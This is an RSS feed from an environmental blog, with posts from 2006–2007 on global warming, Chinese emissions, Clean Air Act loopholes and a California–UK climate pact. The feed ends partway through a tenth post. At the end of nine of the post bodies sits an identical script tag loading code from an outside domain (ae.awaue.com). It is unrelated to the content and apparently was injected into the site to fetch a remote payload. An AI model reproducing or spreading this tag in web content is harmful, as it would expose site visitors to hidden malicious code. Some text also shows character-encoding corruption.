<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>D.C. Watch &#187; Air Pollution</title>
	<atom:link href="http://blog.getm.org/category/air-pollution/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.getm.org</link>
	<description>The Official GETM.org Blog</description>
	<lastBuildDate>Tue, 08 Dec 2009 02:11:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Global Warming: It&#8217;s All About Carbo</title>
		<link>http://blog.getm.org/2007/08/01/global-warming-its-all-about-carbon/</link>
		<comments>http://blog.getm.org/2007/08/01/global-warming-its-all-about-carbon/#comments</comments>
		<pubDate>Wed, 01 Aug 2007 15:17:08 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Air Pollution]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[Comic]]></category>
		<category><![CDATA[Ethanol]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[NPR]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Oil]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[TV]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Tips/Tools]]></category>
		<category><![CDATA[greenhouse]]></category>
		<category><![CDATA[politics]]></category>
		<category><![CDATA[weather]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=113</guid>
		<description><![CDATA[As part of the Climate Connection initiative by NPR and National Geographic, Robert Krulwich&#8217;s created a five-part cartoon series that&#8217;s a really cool way to teach your kids the science of global warming. The videos are not embeddable, so you will have to view them on NPR. I watched all five and I think it&#8217;ll [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://media.npr.org/programs/morning/features/2007/jul/carbon/scientist400.jpg" title="climate connection" alt="climate connection" align="left" height="203" width="200" />As part of the Climate Connection initiative by NPR and National Geographic, Robert Krulwich&#8217;s created a five-part cartoon series that&#8217;s a really cool way to teach your kids the science of global warming.  The videos are not embeddable, so you will have to view them on <a href="http://www.npr.org/news/specials/climate/video/" target="_blank" rel="nofollow">NPR</a>. I watched all five and I think it&#8217;ll help more than just the kids learn a thing or two about carbon!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2007/08/01/global-warming-its-all-about-carbon/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>China to become the World&#8217;s Biggest Polluter</title>
		<link>http://blog.getm.org/2007/05/01/china-to-become-the-worlds-biggest-polluter/</link>
		<comments>http://blog.getm.org/2007/05/01/china-to-become-the-worlds-biggest-polluter/#comments</comments>
		<pubDate>Tue, 01 May 2007 21:54:18 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Air Pollution]]></category>
		<category><![CDATA[Al Gore]]></category>
		<category><![CDATA[Alternative Fuel]]></category>
		<category><![CDATA[Bush]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[China]]></category>
		<category><![CDATA[Economics]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[IPCC]]></category>
		<category><![CDATA[Kyoto]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Nuclear]]></category>
		<category><![CDATA[Renewable]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[weather]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=110</guid>
		<description><![CDATA[A report by the Intergovernmental Panel on Climate Change (IPCC) that discusses climate economics is objected by the Chinese delegation fearing repercussions that could possible derail their drive to increase manufacturing and jobs creation. The draft, suggests various solutions to mitigate climate change, such as capturing and burying emissions from coal-fired power plants, shifting to [...]]]></description>
			<content:encoded><![CDATA[<p><img align="left" width="203" src="http://newsimg.bbc.co.uk/media/images/39876000/jpg/_39876966_smokeb_ap_203.jpg" alt="china pollution smoke stacks" height="152" style="width: 203px; height: 152px" title="china pollution smoke stacks" />A report by the Intergovernmental Panel on Climate Change (IPCC) that discusses climate economics is objected by the Chinese delegation fearing repercussions that could possible derail their drive to increase manufacturing and jobs creation. The draft, suggests various solutions to mitigate climate change, such as capturing and burying emissions from coal-fired power plants, shifting to renewable forms of energy and more use of nuclear power, which for China that relies heavily on coal could mean the beginning of economic slowdown.</p>
<p>This reminds me of a scene from &#8220;<a target="_blank" href="http://www.climatecrisis.net/" title="climate crisis">The Inconvenient Truth</a>&#8221; where Gore points to a 90&#8242;s poster that has the earth on one scale of the balance and gold bullions on the other. China now gets the pick, and if any of them have at least half an ounce gray matter up there, they will chose a policy unlike that of our beloved Bush&#8217;s administration!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2007/05/01/china-to-become-the-worlds-biggest-polluter/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Oil Depletion &#8220;Bad&#8221; for our Environment</title>
		<link>http://blog.getm.org/2007/03/31/oil-depletion-bad-for-our-environment/</link>
		<comments>http://blog.getm.org/2007/03/31/oil-depletion-bad-for-our-environment/#comments</comments>
		<pubDate>Sun, 01 Apr 2007 01:15:19 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Air Pollution]]></category>
		<category><![CDATA[Alternative Fuel]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[Conserve]]></category>
		<category><![CDATA[Economics]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[Hybrid]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Nuclear]]></category>
		<category><![CDATA[Oil]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[greenhouse]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=108</guid>
		<description><![CDATA[Oil depletion has the capacity to worsen emissions and destroy the wealth needed to fight global warming, that is what David Strahan write in his latest book &#8220;The Last Oil Shock&#8221;. His argument below: It is mathematically impossible that peak oil will solve climate change. Although oil is the biggest single source of energy-related greenhouse gases, [...]]]></description>
			<content:encoded><![CDATA[<p>Oil depletion has the capacity to worsen emissions and destroy the wealth needed to fight global warming, that is what David Strahan write in his latest book &#8220;The Last Oil Shock&#8221;.</p>
<p>His argument below:</p>
<blockquote><p><img align="right" width="203" src="http://newsimg.bbc.co.uk/media/images/42740000/jpg/_42740065_bookcover203.jpg" alt="bookcover" height="313" style="width: 203px; height: 313px" title="bookcover" />It is mathematically impossible that peak oil will solve climate change.</p>
<p>Although oil is the biggest single source of energy-related greenhouse gases, coal and gas combined are bigger still, and the expected growth in their emissions would overwhelm any reduction from oil.</p>
<p>As I demonstrate in The Last Oil Shock using the International Energy Agency&#8217;s &#8220;business-as-usual&#8221; forecast, even if oil production peaks in 2010 and immediately starts to fall at 3% a year, total emissions would still rise by 25%, reaching 32 billion tonnes in 2030.</p>
<p>Yet by that time, we need to be well on the way to at least a 60% cut in emissions.</p>
<p>In fact peak oil could even make emissions worse if it drives us to exploit the wrong kinds of fuel.</p>
<p>Burning rainforest and peatlands to create palm oil plantations for biofuels releases vast amounts of CO2, and has already made Indonesia, according to some ways of calculating it, the world&#8217;s third biggest emitter after the US and China.</p>
<p>Synthetic transport fuels made from natural gas using the Fischer-Tropsch process emit even more carbon on a well-to-wheels basis than conventional crude; and when the feedstock is coal, the emissions double.</p>
<p>None of these alternatives are likely to fill the gap left by conventional crude &#8211; at least, not in time.</p>
<p>But because they are so much more carbon intensive, it is quite easy to conjure scenarios in which we still suffer fuel shortages while emitting even more CO2 than in the current business-as-usual forecast &#8211; the worst of all possible worlds.</p></blockquote>
<p>One common sense solution left out of his equation is the use of electricity, which is not all the time, generated using coal or Uranium. Solar, wind and tidal conversion if implemented can and should be able to generate the required capacity to power our planet. If only we are able to overcome our resistance to change and the relentless pursuit of bigger and more polluting lifestyle.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2007/03/31/oil-depletion-bad-for-our-environment/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>China admits to Climate Failings</title>
		<link>http://blog.getm.org/2007/01/28/china-admits-to-climate-failings/</link>
		<comments>http://blog.getm.org/2007/01/28/china-admits-to-climate-failings/#comments</comments>
		<pubDate>Sun, 28 Jan 2007 21:16:08 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Air Pollution]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[China]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Sustainability]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=105</guid>
		<description><![CDATA[According to a new Chinese government report, China is failing to make progress on improving and protecting the environment. &#8220;Compared with social and economic modernization, China&#8217;s ecological modernization lags far behind,&#8221; said the research group&#8217;s director, He Chuanqi. China in a global sense is still a lot better than the US, but the current administration [...]]]></description>
			<content:encoded><![CDATA[<p><img title="china energy graph" alt="china energy graph" src="http://newsimg.bbc.co.uk/media/images/40507000/gif/_40507831_china_energy2_gra203.gif" align="right" />According to a new Chinese government report, China is failing to make progress on improving and protecting the environment. &#8220;Compared with social and economic modernization, China&#8217;s ecological modernization lags far behind,&#8221; said the research group&#8217;s director, He Chuanqi.</p>
<p>China in a global sense is still a lot better than the US, but the current administration will continue playing hardball as long as China (and India) commit to tackle global warming.</p>
<p>With that said, China&#8217;s current plans call for the opening of a new power station every week, most of them coal-fired!</p>
<p>Source: <a title="bbc" href="http://news2.thdo.bbc.co.uk/1/hi/world/asia-pacific/6306881.stm" target="_blank">BBC</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2007/01/28/china-admits-to-climate-failings/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Environmental Defense vs.Duke Energy</title>
		<link>http://blog.getm.org/2006/11/02/environmental-defense-vsduke-energy/</link>
		<comments>http://blog.getm.org/2006/11/02/environmental-defense-vsduke-energy/#comments</comments>
		<pubDate>Thu, 02 Nov 2006 04:27:47 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Air Pollution]]></category>
		<category><![CDATA[Bush]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[EPA]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Environmental Defense]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Supreme Court]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[greenhouse]]></category>
		<category><![CDATA[politics]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=102</guid>
		<description><![CDATA[Environmental Defense took Duke energies to the Supreme Court today on charges that the North Carolina power giant failed to comply with the Clean Air Act requirements to add pollution reduction mechanism when they upgraded their plants. For a change, the Bush administered EPA was on the side of Environment Defense. In an earlier appeals [...]]]></description>
			<content:encoded><![CDATA[<p>Environmental Defense took Duke energies to the Supreme Court today on charges that the North Carolina power giant failed to comply with the Clean Air Act requirements to add pollution reduction mechanism when they upgraded their plants. For a change, the Bush administered EPA was on the side of Environment Defense. In an earlier appeals court ruling, the judges sided the industry and today, a similar tone was prevalent at the Supreme Court. It makes no sense why Duke would rather throw money at the lawyers than spend it on pollution control, after all, they need to breathe too.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2006/11/02/environmental-defense-vsduke-energy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Can Silt in the Sky Save the Earth from Global Warming?</title>
		<link>http://blog.getm.org/2006/09/15/%e2%80%9ccan-silt-in-the-sky-save-the-earth-from-global-warming%e2%80%9d/</link>
		<comments>http://blog.getm.org/2006/09/15/%e2%80%9ccan-silt-in-the-sky-save-the-earth-from-global-warming%e2%80%9d/#comments</comments>
		<pubDate>Fri, 15 Sep 2006 05:13:39 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Air Pollution]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[NCAR]]></category>
		<category><![CDATA[Ozone]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[greenhouse]]></category>
		<category><![CDATA[weather]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=96</guid>
		<description><![CDATA[According to a study in the Journal Science, particles capable of deflecting solar radiation be injected into the stratosphere to temporary decelerate global warming. This would simulate a condition similar to large volcanic eruptions ejecting material into the stratosphere, creating a haze that will deflect solar radiation. Here&#8217;s a link to a recent interview with [...]]]></description>
			<content:encoded><![CDATA[<p><img style="width: 157px; height: 119px;" title="arcticOzone" src="http://earthobservatory.nasa.gov/Newsroom/FieldResearch/Images/20020927/Arcticoz.jpg" alt="arcticOzone" width="157" height="119" align="right" />According to a study in the Journal Science, particles capable of deflecting solar radiation be injected into the stratosphere to temporary decelerate global warming. This would simulate a condition similar to large volcanic eruptions ejecting material into the stratosphere, creating a haze that will deflect solar radiation.</p>
<p>Here&#8217;s a link to a recent interview with the author of the paper Tom Wigley of <a title="ncar" href="http://www.ncar.ucar.edu/" target="_blank">National Center for Atmospheric Research</a> on <a title="npr" href="http://www.npr.org/templates/dmg/dmg.php?prgCode=ATC&amp;showDate=14-Sep-2006&amp;segNum=4&amp;NPRMediaPref=WM&amp;getAd=1" target="_blank">NPR</a>.</p>
<blockquote><p><em>NCAR is a National Science Foundation federally funded research and development center. Together with our partners at universities and research centers, we are dedicated to exploring and understanding our atmosphere and its interactions with the Sun, the oceans, the biosphere, and human society.</em></p></blockquote>
<p>Photo Courtesy: <a title="nasa" href="http://www.nasa.gov/multimedia/imagegallery/index.html" target="_blank">NASA</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2006/09/15/%e2%80%9ccan-silt-in-the-sky-save-the-earth-from-global-warming%e2%80%9d/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Clean Air Act Needs to Clean Up its Act</title>
		<link>http://blog.getm.org/2006/08/22/clean-air-act-needs-to-clean-up-its-act/</link>
		<comments>http://blog.getm.org/2006/08/22/clean-air-act-needs-to-clean-up-its-act/#comments</comments>
		<pubDate>Tue, 22 Aug 2006 20:32:50 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Air Pollution]]></category>
		<category><![CDATA[Bush]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[EPA]]></category>
		<category><![CDATA[Economics]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Environmental Defense]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[NRDC]]></category>
		<category><![CDATA[Sustainability]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=93</guid>
		<description><![CDATA[According to a recent report on NPR, over 420 coal-fired power plants in America lack pollution control equipment to handle hazardous emission, due in part to a legal loophole. According to the Clean Air Act (CAA) as amended in 1990, power plants constructed prior to 1970 (inception of the CAA) are not required to meet [...]]]></description>
			<content:encoded><![CDATA[<p><img height="120" alt="smog" src="http://www.alexvisani.com/darkgallery/smog.jpg" width="182" align="right" />According to a recent report on <a title="NPR" href="http://www.npr.org/templates/story/story.php?storyId=5673425">NPR</a>, over 420 coal-fired power plants in America lack pollution control equipment to handle hazardous emission, due in part to a legal loophole. According to the <a title="EPA" href="http://www.epa.gov/oar/caa/contents.html">Clean Air Act</a> (CAA) as amended in 1990, power plants constructed prior to 1970 (inception of the CAA) are not required to meet the same stringent emissions levels as new power plants as these changes were not economically feasible.</p>
<p>The US Environmental Protection Agency (EPA) during the Clinton administration tried closing this loophole by enforcing a long-ignored provision of the act, that requires plants to install advanced pollution controls if they modify or expand their plant. But changes on such large-scale does not happen overnight and plants across America to this day, continue to pollute the air with sulfur dioxide (over 70 percent of all coal-fired plants lacking sulfur reducing scrubbers), nitrogen oxide (over 90 percent of them lack equipment to contain nitrogen oxide) and suspended particulate matter (practically all plants lack suspended particulate removal capability), resulting in tens of thousands dying early due to lung and heart ailment and thousands more suffer from asthma.</p>
<p>This severe lack of regulation and foresight is indicative of the administration in office, although the US EPA claims to be an autonomous body, they are heavily politicized and influenced by the Whitehouse. During President Bushâ€™s first term, the administration tried to <a title="ED" href="http://www.environmentaldefense.org/article.cfm?ContentID=2727">lax regulations</a> in favor of the <a title="NRDC" href="http://www.nrdc.org/media/pressreleases/030822.asp">industry</a> and to this day refuses to ratify (other) significant anti-pollution initiatives like the <a title="BBC" href="http://news.bbc.co.uk/1/hi/sci/tech/3143798.stm">Kyoto Protocol</a> to curb (carbon dioxide) emission.</p>
<p>The regulation as it stands poses a challenge to our fundamental rights to access clean air. Unless the Clean Air Act cleans up itâ€™s act, we are headed for a painfully long and smoggy future.</p>
<p><small><small>Picture Courtesy: alexvisani.com</small></small><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2006/08/22/clean-air-act-needs-to-clean-up-its-act/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>California Forges Ahead of the Rest</title>
		<link>http://blog.getm.org/2006/08/02/california-forges-ahead-of-the-rest/</link>
		<comments>http://blog.getm.org/2006/08/02/california-forges-ahead-of-the-rest/#comments</comments>
		<pubDate>Wed, 02 Aug 2006 23:16:05 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Air Pollution]]></category>
		<category><![CDATA[Blair]]></category>
		<category><![CDATA[California]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[Conserve]]></category>
		<category><![CDATA[Economics]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Schwarzenegger]]></category>
		<category><![CDATA[greenhouse]]></category>
		<category><![CDATA[politics]]></category>
		<category><![CDATA[weather]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=86</guid>
		<description><![CDATA[When it comes to global war on terrorism, global economy andÂ global politics, British Prime Minister Tony Blair no doubt sides &#8216;unconditionally&#8217; with President Bush. But on the issue of global warming, Blair has in the past and continues to be more pragmatic and has managed to separate himself from the baloney the US Administration has [...]]]></description>
			<content:encoded><![CDATA[<p><img title="blair arnold" style="width: 177px; height: 129px" height="129" alt="blair arnold" src="http://gov.ca.gov/phpThumb/phpThumb.php?src=/images/essays/25604.jpg" width="177" align="right" />When it comes to global war on terrorism, global economy andÂ global politics, British Prime Minister Tony Blair no doubt sides &#8216;unconditionally&#8217; with President Bush. But on the issue of global warming, Blair has in the past and continues to be more pragmatic and has managed to separate himself from the baloney the US Administration has propagated and more than half the nation has bought, that â€œglobal warming is NOT anthropogenicâ€.</p>
<p>Prime Minister Blair met with California Terminator Arnold Schwarzenegger (R), and signed a pact that makes the United Kingdom and the state of California partners in the battle against global warming. The agreement among other things will include sharing of research resources and technologies.</p>
<p>Shortly after the signing, Prime Minister Blair said &#8220;We are at least on our way to putting in place the framework that will resolve this problem,&#8221; he continued, &#8220;We know that the answers to this [climate change] will come in the end by the development of the right science and technology.â€</p>
<p>California is the 12th largest emitter of carbon in the world despite leading the nation in energy efficiency standards and lead role in protecting its environment. According to a press release on CA.gov, Californiaâ€˜s climate change initiative will include:</p>
<p>1) Evaluate and implement market-based mechanisms that spur innovation that will better enable the carbon market(s) to accelerate the transition to a low carbon economy.</p>
<p>2) Deepen understanding of the economics of climate change.</p>
<p>3) Collaborate on technology research.</p>
<p>4) Enhance linkages between scientific communities in the UK and California.</p>
<p>Speaking at the signing, Gov. Schwarzenegger said, â€œCalifornia will not wait for our federal government to take strong action on global warming.â€</p>
<p>If nothing, this change in the attitude of Schwarzenegger is evident thatÂ individual state governments can differ from partisan politics and emphasize the value of our environment. Hope this sets precedence for other states to follow.</p>
<p>Source: <a href="http://gov.ca.gov/">http://gov.ca.gov/</a></p>
<p>Originally posted on <a href="http://www.headsetoptions.org/">http://www.headsetoptions.org/</a></p>
<p><span id="more-86"></span></p>
<p>Â </p>
<p><a href="http://ads.adgenta.com/ads/ads.dll/click?client=headsetop&#038;GUID=08%2F02%2F06+19%3A40%3A43" target="_blank"><img style="margin: 4px; border: medium none" height="90" alt="Ads by AdGenta.com" src="http://ads.adgenta.com/ads/ads.dll/view?client=headsetop&#038;GUID=08%2F02%2F06+19%3A40%3A43&#038;width=300&#038;height=90&#038;bgColor=ffffff&#038;FOOTER_COLOR=ffffff&#038;FOOTER_GRADIENT=0&#038;TF_C=0000ff&#038;DF_C=000000&#038;DMF_C=0000ff&#038;FF_C=000000&#038;keywords=California" width="300" border="0" /></a></p>
<p><small>Tags: <a href="http://technorati.com/tag/News" rel="tag">News</a>, <a href="http://technorati.com/tag/Global+Warming" rel="tag">Global Warming</a>, <a href="http://technorati.com/tag/Activism" rel="tag">Activism</a>, <a href="http://technorati.com/tag/Conserve" rel="tag">Conserve</a>, <a href="http://technorati.com/tag/Carbon" rel="tag">Carbon</a>, <a href="http://technorati.com/tag/weather" rel="tag">weather</a>, <a href="http://technorati.com/tag/Environment" rel="tag">Environment</a>, <a href="http://technorati.com/tag/Economics" rel="tag">Economics</a>, <a href="http://technorati.com/tag/politics" rel="tag">politics</a>, <a href="http://technorati.com/tag/greenhouse" rel="tag">greenhouse</a>, <a href="http://technorati.com/tag/Air+Pollution" rel="tag">Air Pollution</a>, <a href="http://technorati.com/tag/Energy" rel="tag">Energy</a>, <a href="http://technorati.com/tag/Blair" rel="tag">Blair</a>, <a href="http://technorati.com/tag/Schwarzenegger" rel="tag">Schwarzenegger</a>, <a href="http://technorati.com/tag/California" rel="tag">California</a></small><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2006/08/02/california-forges-ahead-of-the-rest/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Global Warming: Ignorance is Bliss</title>
		<link>http://blog.getm.org/2006/07/28/global-warming-ignorance-is-bliss/</link>
		<comments>http://blog.getm.org/2006/07/28/global-warming-ignorance-is-bliss/#comments</comments>
		<pubDate>Fri, 28 Jul 2006 19:44:17 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Air Pollution]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[Comic]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[greenhouse]]></category>
		<category><![CDATA[weather]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=84</guid>
		<description><![CDATA[Hope this past weekâ€™s temperature highs convinced the global warming skeptics. Photo Courtesy: andysinger.com Tags: Global Warming, Comic, Activism, Carbon, weather, greenhouse, Air Pollution]]></description>
			<content:encoded><![CDATA[<p><img align="middle" title="gw" alt="gw" src="http://www.mygeo.info/cartoons/grnhsef.gif" /></p>
<p>Hope this past weekâ€™s temperature highs convinced the global warming skeptics.</p>
<p><small><small><small><em>Photo Courtesy: andysinger.com</em></small></small></small></p>
<p><span id="more-84"></span></p>
<p><a target="_blank" href="http://ads.adgenta.com/ads/ads.dll/click?client=headsetop&#038;GUID=07%2F28%2F06+15%3A47%3A19"><img width="300" height="90" border="0" style="border: medium none ; margin: 4px" alt="Ads by AdGenta.com" src="http://ads.adgenta.com/ads/ads.dll/view?client=headsetop&#038;GUID=07%2F28%2F06+15%3A47%3A19&#038;width=300&#038;height=90&#038;bgColor=ffffff&#038;FOOTER_COLOR=ffffff&#038;FOOTER_GRADIENT=0&#038;TF_C=0000ff&#038;DF_C=000000&#038;DMF_C=0000ff&#038;FF_C=000000&#038;keywords=air+conditioner" /></a></p>
<p><small>Tags: <a rel="tag" href="http://technorati.com/tag/Global+Warming">Global Warming</a>, <a rel="tag" href="http://technorati.com/tag/Comic">Comic</a>, <a rel="tag" href="http://technorati.com/tag/Activism">Activism</a>, <a rel="tag" href="http://technorati.com/tag/Carbon">Carbon</a>, <a rel="tag" href="http://technorati.com/tag/weather">weather</a>, <a rel="tag" href="http://technorati.com/tag/greenhouse">greenhouse</a>, <a rel="tag" href="http://technorati.com/tag/Air+Pollution">Air Pollution</a></small><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2006/07/28/global-warming-ignorance-is-bliss/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Recession is Good forâ€¦ the Environment</title>
		<link>http://blog.getm.org/2006/07/18/recession-is-good-for%e2%80%a6-the-environment/</link>
		<comments>http://blog.getm.org/2006/07/18/recession-is-good-for%e2%80%a6-the-environment/#comments</comments>
		<pubDate>Tue, 18 Jul 2006 13:22:18 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Air Pollution]]></category>
		<category><![CDATA[Alternative Fuel]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[Conserve]]></category>
		<category><![CDATA[EPA]]></category>
		<category><![CDATA[Economics]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Ethanol]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Oil]]></category>
		<category><![CDATA[Ozone]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[Urban]]></category>
		<category><![CDATA[greenhouse]]></category>
		<category><![CDATA[politics]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=81</guid>
		<description><![CDATA[Originally posted at headsetoptions.org Price of oil is sky rocketing, the fed are raising interest rates, and people are feeling the pinch everywhere, not just at the gas stations, making it even harder to fight the looming recession. One good thing out of all this might be that people will use less gasoline, and that [...]]]></description>
			<content:encoded><![CDATA[<p>Originally posted at <a title="Headsetoptions" href="http://www.headsetoptions.org/" target="_blank"><font color="#224466">headsetoptions.org</font></a></p>
